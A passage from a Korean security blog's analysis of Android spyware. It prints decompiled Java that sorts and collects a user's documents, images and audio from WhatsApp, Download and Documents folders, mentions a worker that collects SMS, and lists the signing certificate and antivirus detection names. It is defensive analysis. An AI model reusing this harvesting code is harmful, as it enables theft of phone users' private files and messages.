if (file.getAbsolutePath().contains("/WhatsApp/")) {
path = 1;
} else if (file.getAbsolutePath().contains("/Download/")) {
path = 2;
} else if (file.getAbsolutePath().contains("/Documents/")) {
path = 3;
} else {
path = 4;
}
if (file.getName().endsWith(".pdf")) {
type = 1;
} else if (file.getName().endsWith(".doc")) {
type = 2;
} else if (file.getName().endsWith(".docx")) {
type = 3;
} else if (file.getName().endsWith(".txt")) {
type = 4;
} else if (file.getName().endsWith(".ppt")) {
type = 5;
} else if (file.getName().endsWith(".pptx")) {
type = 6;
} else if (file.getName().endsWith(".xls")) {
type = 7;
} else if (file.getName().endsWith(".xlsx")) {
type = 8;
} else if (file.getName().endsWith(".jpg")) {
type = 9;
} else if (file.getName().endsWith(".jpeg")) {
type = 10;
} else if (file.getName().endsWith(".png")) {
type = 11;
} else if (file.getName().endsWith(".mp3")) {
type = 12;
} else if (file.getName().endsWith(".Om4a")) {
type = 13;
} else if (file.getName().endsWith(".aac")) {
type = 14;
} else if (file.getName().endsWith(".opus")) {
type = 15;
} else {
type = 16;
}
if (type != 16) {
Log.i("file_found" + userDataUploadWorker.count, size + " | " + path + " | " + type + " | " + (file.length() / 10000000) + file.getAbsolutePath());
inFiles.add(new FileInfo(file, Integer.valueOf(size), Integer.valueOf(path), Integer.valueOf(type), file.length()));
}
}
i++;
userDataUploadWorker = this;
}
}
return inFiles;
}
}
UserSMSUploadWorker 에서는 SMS 즉 문자 관련 부분을 수집하는 부분이 있습니다.
입니다. 악성코드 인증서 관련 부분은 다음과 같습니다.
서명자 A103F782.RSA (META-INF/A103F782.SF)
유형: X.509
버전: 3
시리얼 번호: 0x333a0b9b
소유자: C=debugging
유효 시작 시각: Fri Sep 23 20:57:06 GMT+09:00 2016
유효 종료 시각: Wed Jan 25 20:57:06 GMT+09:00 3015
공개키 타입: RSA
지수: 65537
모듈러스 크기 (비트): 2048
모듈러스: 22078511234511614574857147562393365977914881340774798581310336072183921974134911044688535627348254518744215418007381541401808744743772079058013619696722144438066877350720649850003181455221652856972879419096590067645501203753346481641021463477005540444184799251895893097151428281682635417943986763414987654500834663683350411320382961717712554698796796642063887779772375726672951058359640779392432617608889099091743826868675748427580165633824678830409191941478401699008690085428319193580541263571810942622861088197232339368013743252288761815244798641603795066525786919176917420192102812144452135006767480203548530534079
서명 유형: SHA256withRSA
서명 OID: 1.2.840.113549.1.1.11
MD5 지문: C1 3F 92 D0 39 7D A7 42 3A 41 42 BF A9 A5 87 3E
SHA-1 지문: D1 22 D9 AD C3 E5 D5 FF 34 6B 32 C0 41 3F 5C F3 A3 CC 46 58
SHA-256 지문: 02 2A 1E D9 FE B0 E6 C9 82 6D F9 9C 58 35 0B 77 89 A7 1A D5 1F 14 2F 40 44 9F 91 D5 8C 02 78 C1
그리고 2022-01-23 10:30:34 UTC 기준 바이러스토탈에서 탐지를 하는 보안 업체(백신 업체)들은 다음과 같습니다.
Alibaba:TrojanSpy:Android/Agent.5c25d37d
Avast-Mobile:Android:Evo-gen [Trj]
Avira (no cloud):ANDROID/Agent.ccx
BitDefenderFalx:Android.Riskware.Agent.JQJ
CAT-QuickHeal:Android.Agent.A14ac
DrWeb:Android.Spy.4495
ESET-NOD32:A Variant Of Android/Spy.Agent.BQH
Fortinet:Android/Agent.BQH!tr.spy
Ikarus:Trojan.AndroidOS.Agent
Kaspersky:HEUR:Trojan-Spy.AndroidOS.Agent.aat
Lionic:Trojan.AndroidOS.Agent.C!c
McAfee:Artemis!F8D4DC7E758C
McAfee-GW-Edition:Artemis!Trojan
Symantec:Trojan.Gen.MBT
Trustlook:Android.Malware.Spyware
입니다. 기본적으로 백신앱을 설치를 하되 인지도가 있는 보안 업체를 선택하시는 것을 추천하면 구글 플레이 스토어 들에서도 악성코드들은 유포되고 있으니 항상 조심하는 것이 좋습니다.
'소프트웨어 팁 > 보안 및 분석' 카테고리의 다른 글
안드로이드 스마트폰 공장 초기화 및 개인정보 탈취 악성코드-BRATA(브레타) (0) | 2022.01.28 |
---|---|
마이크로소프트 엣지 Super Duper Secure Mode 보안 모드 설정 방법 (2) | 2022.01.27 |
근로 계약서로 위장해서 유포 중인 개인정보 유출 피싱 메일 주의(2022.1.27) (4) | 2022.01.27 |
윈도우 10 버그 수정 및 프로그램 개선 업데이트 KB5009596 (0) | 2022.01.26 |
QR 코드를 악용 하는 피싱 큐싱(Qshing) 예방 방법 (4) | 2022.01.25 |
Microsoft Edge(마이크로소프트 엣지) 97.0.1072.69 보안 업데이트 (0) | 2022.01.21 |
통신사 통신자료제공(통신조회) 내역 조회 방법 (0) | 2022.01.20 |
윈도우 10,윈도우 11 VPN 버그에 대한 긴급 업데이트(KB5010795,KB5010793) (0) | 2022.01.19 |